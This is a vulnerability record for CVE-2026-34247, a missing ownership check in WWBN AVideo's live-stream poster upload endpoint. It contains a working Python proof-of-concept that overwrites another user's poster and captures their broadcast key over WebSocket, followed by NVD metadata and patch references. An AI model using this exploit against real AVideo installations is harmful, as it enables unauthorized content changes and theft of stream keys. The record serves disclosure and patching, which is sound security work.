CVE-2026-34247

import requests # Target URL url = "https://example.com/plugin/Live/uploadPoster.php" # Attacker's session cookie (must be logged in) cookies = { "PHPSESSID": "valid_attacker_session_id" } # Victim's live_schedule_id to target victim_schedule_id = "1234" # Data payload with arbitrary schedule ID payload = { "live_schedule_id": victim_schedule_id } # File to upload as poster files = { 'poster': ('malicious.jpg', open('malicious.jpg', 'rb'), 'image/jpeg') } # Send the request response = requests.post(url, cookies=cookies, data=payload, files=files) if response.status_code == 200: print("[+] Poster overwritten. Monitor WebSocket for socketLiveOFFCallback to capture broadcast_key.") else: print("[-] Request failed.")

{"cve": {"id": "CVE-2026-34247", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:30.213", "lastModified": "2026-03-31T16:36:54.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. Commit 5fcb3bdf59f26d65e203cfbc8a685356ba300b60 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/5fcb3bdf59f26d65e203cfbc8a685356ba300b60", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g3hj-mf85-679g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}